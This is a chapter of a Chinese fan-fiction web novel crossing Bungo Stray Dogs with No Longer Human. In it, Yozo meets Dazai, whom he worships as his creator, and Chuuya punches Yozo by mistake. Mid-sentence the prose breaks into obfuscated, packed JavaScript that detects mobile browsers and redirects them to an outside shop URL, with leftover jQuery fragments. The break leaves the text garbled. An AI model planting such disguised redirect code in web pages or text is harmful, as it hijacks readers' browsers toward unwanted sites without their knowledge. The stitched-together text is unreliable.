叶藏从前东北乡下的家里设有一座佛龛，龛前常年点着供奉用的香烛。他的父亲信奉佛教，于是连同着兄弟姐妹，乃至家中的女仆们，都对龛当中供奉的佛祖法相敬畏有加。


    他们站在香烛火焰照不到的漆黑阴影里，双掌合十着叩首祭拜的场景，一度是叶藏童年时代的恐怖片。


    从那时起，叶藏就很不理解，为什么带着虚伪的面具、以恶意互相戕害算计着的人类，偏偏如此自然地给予一座无生命的雕像最纯质的虔诚？


    但是今天，他好像有一点明白了。


    即使是我这般寄居在人类躯壳中、难以见光的伪物，在直面信奉的神明之时，污秽不堪的心灵也能得到洗涤和涤荡。


    “津岛先生……？”


    叶藏凝望着太宰治神色难辨的脸，像所有目睹神迹降临在眼前的信徒一般，梦呓般地自言自语：“津岛先生，是您吗？”


    叶藏的脑袋并不愚笨，相反，他极为敏感聪慧，否则何以洞悉人类那些隐秘而幽微的情绪？此刻，在与自己十成十肖似的长相的冲击之下，过往所有的蛛丝马迹都串成了一条线，指向通往真相的道路。


    难怪津岛先生会出现在擂钵街。是因为他冒昧地使用了先生的脸登上《sixteen》封面，先生才想来拍摄地一探究竟么？


    也难怪，兰堂先生会刻意提及“津岛家”三个字后，仔细端详他最细微的反应。想来兰堂与津岛先生一定是熟人，Mafia的广告邀请只是个幌子。


    那么，森鸥外老师突如其来的电话呢？


    恐怕也是好心提醒吧。


    此刻的叶藏，对森鸥外先入为主的坏印象一扫而空。若不是那通电话，他不知道要蹉跎多久才能亲眼目睹神明呢。


    叶藏贪婪的目光，将太宰治从头到脚丈量了一遍。即使是与自己一模一样的脸，他也瞧得没有丝毫的敷衍。


    泛棕的微卷黑发，挺翘的鼻梁，抿起的微红嘴唇，布满雪白绷带的颈间与手腕，以及意味不明的料峭神情。每一处在叶藏的眼里都是完美的代名词。无比夸张的溢美之词，在他的心中疯狂刷屏着。


    听见心声的系统：【受不了，感觉有被精神污染到……】


    呃，粉丝滤镜是这么不讲道理的嘛？


    而且，它也不免为叶藏感到着急。心里刷屏那么多有什么用，偶像就在面前，快A上去说呀！总不能精神污染我一个吧？


    可惜，没有。


    大庭叶藏从不吝啬于扮鬼脸、平地摔，做出种种夸张的言行引人注目，但那是他限定于对人类的拙劣讨好。


    在见到真正的神明之时，种种伪装在祂的眼里都失去意义，叶藏反而像是被钉在了原地，动弹不了。除了不正常抖动的鸢色瞳孔之外，只有嘴角翘得越来越高，竟然显得比太宰治本人还吊诡。


    两人谁也没说话，只是互相神经质地笑着互相凝望。擂钵街的狭窄夹道里，一时间寂静得只有穿堂的簌簌风声。


    那场面真是说不出的渗人。


    中岛敦打了个冷战，搓了搓胳膊上泛起的鸡皮疙瘩：“那个……”


    “嗯？怎么啦，这位小朋友？”说话的是太宰治，他的声音有种故作的轻快。


    中岛敦默默在心里吐着槽：唉呀，我也想知道是怎么了呢。为什么兄弟相认的气氛会这么诡异啊？按照常理来说，不应该很感人才对吗？


    但他还是硬着头皮开口打破沉默的僵局：“那个，我有点好奇，叶藏先生和这位先生是什么关系呢？长得这么像，应该是双胞胎兄弟吧？”


    太宰治：“是什么关系呢？还是让你的叶藏先生跟你说吧。其实关于这一点，我也很好奇呢。”


    他的口吻很轻柔，又有一种离奇的跳跃感。但中岛敦依稀能感觉到一阵恶意，宛如藏在棉絮里的抽血针拂过肌肤的刺痛感。


    ……是错觉吗？


    他转而去看叶藏先生，唯见那张极为漂亮的、精致的脸上，浮现了罕见的郑重神色：“津岛先生，是创造我的人。”


    叶藏轻缓地抚上摸自己的脸。他很确定，这张脸就是在从前的世界伴随他长大的长相。如果说他和津岛先生长得一模一样的话，岂不是说明，津岛先生连自己的长相都原封不动赐予了他！？


    再一次感受到神明深沉爱意的叶藏，控制不住上前了一步。


    太宰：“……哈？”


    创造你的人？我？


    他过于聪慧的大脑里，无数的阴谋论都在此刻宕机。


    世界上凭空冒出一个和自己长相一模一样的人，任谁都会思考其来历。但是，常规的答案怎能满足太宰天才般的想象力？


    当森鸥外、尾崎红叶、兰波等人还在感叹太宰治突然冒出的双生兄弟时，他本人已经联想到一个更加宏大、复杂、隐秘的计划。


    ——突然出现的那个人，极有可能是他的克隆体。


    横滨市曾有军事实验基地的事情，并不是一件秘密。它的旧址甚至就在太宰治脚踩的擂钵街上。


    太宰治又很有自知之明，反异能力“人间失格”虽然并非足以比肩超越者毁天灭地的绝杀技，却是一张出奇制胜的好牌。想要把这张牌握在手中之人，数不胜数。


    这样的情况下，某个势力藉由他的DNA片段设计出一个克隆体作为代替者，也不是奇怪的事情吧？


    是以为自己扔掉包袱后，才发现痛失了一张天大好牌的津岛家？


    是嫌他不好控制，想另起炉灶捏制傀儡的的Mafia？


    还是想把“人间失格”握在官方势力手里的异能特务科？


    今天之前太宰治一直在以上几个。同时他也知道，设计出克隆体的势力，对本体大约恶意不浅——毕竟谁都想让手里的王牌变成唯一。所以他才会顺水推舟同意森鸥外的要求，来到擂钵街引蛇出洞。


    结果，这个人，他说什么？


    “你是创造我的人……”


    不对，不对。


    从事实层面上确实没错，但吊诡的不是这一点，而是叶藏说话时的口吻。


    这个克隆体，他好像很敬重我？


    可问题在于，一个“太宰治”会对另一个太宰治表达敬重吗？绝对不会的吧！会看到就浑身难受，恨不得杀之而后快吧。


    他找到的另一个决定性证据——真的会有太宰治能心平气和地跟中原中也做朋友吗？怎么可能呢？讨厌中也是写在骨子里的本能啦本能！


    所以，这个人不是我，而是完完全全的另一个人。但是他顶着和我一模一样的样貌，仿佛很认真地诉说着对我的敬慕？


    这是何等掉san的情形！


    我可不是河边顾影自怜的水仙花！


    对他人的恶意习以为常，却对好意退避三舍的太宰治，优雅和从容从他身上迅速消失了，转变成一种惶惑和恐怖。尤其是，当他亲眼瞧见了叶藏微微张口，仿佛下一秒就要将仰慕之词具象化的场景时。


    ——不要啊！


    ——求你别说了！


    太宰治转身就要跑。


    就在这时，他的身后传来一阵阴恻恻的声音，领口也被一股牵引力扯起：“喂，你们在干什么呢？”


    “……中也？”


    太宰暗叫一声大意，都怪他刚才思考得太认真，忘记留意周遭的动静，居然被暴力的小矮人抓住了。但与此同时，一种可以和小矮人快乐对线，暂且把叶藏甩在一旁的轻松感油然而生。


    他怪声怪气地开了口：“小矮人中也来得可真是慢呢，怎么，你的朋友来擂钵街了，都不热情地迎接一下吗？”


    叶藏也像从梦中回过神一般，浅浅地笑了一下：“中也君。”


    中岛敦：“呃，中也先生，你好？”


    他又在心里暗暗吐槽：这个突然冒出来的，不太好惹的哥哥又是谁？怎么都没人介绍一下他姓什么？算了，就跟着叶藏先生叫中也先生应该没错吧。


    话说从刚才开始，气氛好像就一直不太对的样子……


    中原中也微微颔首，算是跟叶藏打了个招呼，旋即，湖蓝色的眼睛一直在太宰和叶藏之间打转。


    啧，还真是一模一样。


    可是，同样都是一副柔弱不能自理的表情姿态，在叶藏的脸上倒像那么回事，在太宰的身上就只有可恶了。


    “叶藏。”中也沉声说道：“这人是你的兄弟吗？他在我们这里装成你的样子，骗吃骗喝了一个星期。我要亲手教训他一顿，你没意见吧？”


    “什么叫作骗吃骗喝嘛，真是小气鬼呐中也。”太宰治瘪起嘴巴，他的话总能最轻而易举地调动中原中也的怒气：“你去问问小羊他们吧，愿不愿意我留下？嗯哼？”


    中原中也没说话，呼呼的拳风已经扬在太宰治的脸上。他下意识闭上眼睛。


    咦，怎么不疼？


    太宰治再睁开眼时，面前是一个受不住怪力、如玉山倾倒的人影。


    “叶藏！快让开！”


    中原中也发现目标错误的时候，已经来不及收拳。他又惊又怒叫唤了一声，一拳直直锤在了叶藏的胳膊上。


    该死的！


    不是身体不好吗？怎么这个时候就那么快了！为了给可恶的太宰挡枪！


    中原中也的体术可不是开玩笑的，何况他被太宰逗弄得恼怒，一拳足足用了五分力气。叶藏的和服袖子被气浪掀开，胳膊肉眼可见红的一大片，与周遭的白皙格格不入，一看就痛得要命。


    而且，他还受不住力地倒在了地上，头发也微微散开了，狼狈得不像话。


    “叶藏先生！”中岛敦连忙去上前扶，一边悄悄瞪了中原中也一眼。


    虽然知道这个哥哥不是故意的，是揍错人了，但是叶藏先生看起来那么痛！


    还有叶藏先生的……姑且称之为哥哥吧，好像也不是什么靠谱的人。


    还是叶藏先生最好了。


    中原中也接收到了眼神，咳了一声装没看见。他想过要扶叶藏起来，犹豫了一下还是没去，心里憋着一阵火、


    叶藏对太宰也太纵容了吧？啧，连拳头都要挡。


    旋即，更令他火大的一幕诞生了。


    叶藏随着中岛敦的力气站起来后，没管浑身的狼狈，似乎也根本感受不到疼痛，迅速走到太宰的面前，湿润柔软的眼神像初融的春水：“津岛先生，您没事吧？有没有被拳风扫到？”


    中岛敦：啊？


    中原中也：哈？


    太宰治：啊啊啊啊啊啊啊！


    太宰治脸上的表情空白了一瞬。不如说他从发现叶藏给自己挡拳开始，就陷入了长久的呆滞之中。


    这下子，太宰治近距离对上了叶藏白皙的脸，他更是发现，那双与自己肖似的鸢色眼眸中，透露出来的关心、敬仰和濡慕是无比的真切。哪怕是世界上最多疑的人，见了都要褒赏其真心。


    太宰治成功地破防了。


    被好意包围的感觉，简直比被绳索捆住还要难受。他感觉自己快要呼吸不过来了。


    啊啊啊，真是的，还不如让我挨中也一拳呢！造出克隆体的人到底是什么居心啊，居然设置了这么恶毒的代码！


    那个人肯定很了解我吧？


    所以，是特地来恶心我的吗？


    太宰治偷偷在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13683073|141472||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心里把幕后黑手诅咒了一万遍，与此同时，他的双腿再度生出逃跑的生理性冲动。


    他想要逃离那双眼睛的注视，逃离把他视作神明的叶藏身前。


    “等着，跑什么！”


    中原中也一把抓住太宰治后衣领：“你不会以为叶藏替你挨了一拳就万事大吉了吧？跟我回去，我们的帐还没算完呢。”


    他恶狠狠的语气像是来索命的。寻常擂钵街的人听到“羊之王”这么说话，恐怕吓得腿都要软了。


    旋即，中原中也转头看向叶藏，语气稍稍和煦了点，但是总体上依旧生硬：“还有叶藏，你也回去。上药。”


    “还有你，叶藏带来的小鬼。你扶着点他，话说你能扶动吗？”


    中原中也看向中岛敦，大约明白line上想要咨询的育儿问题是为了谁。他心里难得地吐槽了一句：这小孩懂事得很，能有什么问题？你更该看着点儿的，是你哥啊！


    中岛敦忙道：“扶得动！我扶得动的！”


    这点小忙，他当然能帮上叶藏先生。不过，中也先生貌似和他猜想得不一样？明明心情很不爽，说出来的话又分明是关切叶藏先生的。难道看起来像个刺头、很不好惹的中也先生……意外地是个好人吗？


    “喂，想什么呢小鬼。别走神了。”


    “哦哦，好的。”


    叶藏一直垂着头不吭声。他挡完拳头就知道，自己下意识的举动一定令中也伤心了。所以，他本能的呼痛声被强行抑止住，又在沉默中容许了中原中也的安排。


    唯独在被中岛敦拉起来，又小心翼翼地抬起自己受伤的胳膊时，轻声说了一句：“真是麻烦你了，敦君。”


    “这种程度也叫麻烦的话，那应该是我一直麻烦叶藏先生您才对。”


    被中原中也拽着衣领，像一条干瘪青花鱼般在地上拖行的太宰听到后面两个人的话，忍不住抽了下嘴角。


    啊啊，真是相亲相爱的一家人啊。真的跟我太不一样了。


    但他什么也没说。


    四个人在万分诡异的气氛里，到达了“羊”的基地去。


    一刻钟之前，留守在基地里的小羊们见到中原中也飞着离开的身影，只讨论了几句就转换了话题。毕竟类似的场景，在他们的日常里是司空见惯。


    “中也哥飞出去了？大概是去处理哪个不长眼的家伙了吧？”


    “安心，因为是中也，所以肯定没问题的。”


    “诶诶，你那个认识的人再给我说说看呗？他真的能把我们的货卖出高价？比现在的高多少？可靠吗？”


    ——要不……我去问问？


    基地里四处洋溢着飘浮的气息，宛如十九世纪美国淘金热，每一个矿山边上并不宁静的夜里。几乎有些收藏的小羊都在对家当如数家珍，继而诉说起好运出金、一夜暴富的美梦。


    他们已经一半陷进了太宰治编织的梦境罗网里。


    叶藏微不可查地皱了皱眉。


    不是令人安心的气氛。至少，比起上次他随着杂志社来取景时，感觉要差得多。


    中原中也的嘴角也沉了下来，但他没多说什么，只瞪了身后的太宰一眼。后者摊手以示自己的无辜。


    “迟早有一天，我要把你……”中原中也不甘的声音被强行压抑在了唇齿一线。


    “诶诶，把我什么？我很好奇呢！”


    “当然是把你……”


    中原中也没来得及说下去，因为已经有小羊发现了基地里新来的两个陌生人——其中有一个不是陌生人，是老熟人的叶藏。


    他愣在原地，揉了揉眼睛，眼前的景象没有变化：“两、两个叶藏哥哥……”


    “什么！”


    如果“羊”组织内部有热搜榜，“叶藏哥哥”绝对是近期刷屏次数最高的热词。小羊们一听，纷纷转过头去，相似的感叹此起彼伏。


    “一模一样的叶藏哥哥！”


    “哇，是双胞胎吗？”


    “叶藏哥哥，这是你双胞胎兄弟吗？”


    有人后知后觉发现了“叶藏”姿势的古怪之处：“叶藏哥，你怎么被中也哥提着……呃。”


    小羊闭了嘴。因为说是“提”的程度过于轻了。太宰已经完全像是被中原中也拎着的沙丁鱼罐头。


    “咳，咳咳。因为我刚才低血糖不小心晕倒了，是好心的中也拽着我，才让我没有摔在地上。真是谢谢你啦，中也，你真是个天大的好人呢~”


    “……”中原中也努力绷著脸，好险没让自己当着小羊的面吐出来。


    太宰治轻轻一拽，就从中原中也手里拉回了自己的衣领。他轻轻地一笑，就知道中原中也对小羊们没办法。


    那么，戏就是不演白不演啦~


    他再度挂上了叶藏的面具——宛如天生长在他脸上一样：“没错，我的兄弟今天来找到了我。对吧？太宰君？”


    与此同时，他朝着叶藏站立的方向，投去一个wink。


    叶藏：“……”


    虽然他的津岛先生扮演他时纯熟的模样，又让他感受到深刻的幸福。但是津岛先生的要求也太难了吧？反向扮演津岛先生，我又何德何能呢？


    太宰像是察觉了叶藏的为难，连着对他投去好几个眼神：我相信你可以的哟！


    你不是我的信徒吗？这么一点小小的要求应该会满足吧！


    想想我是怎么跟中也说话的~


    所以，津岛先生是怎么跟中也君说话的？


    那个，那个，小矮人？


    叶藏站在所有人视线的中心，简直欲哭无泪：呜呜，难道要我这样称呼中也君吗？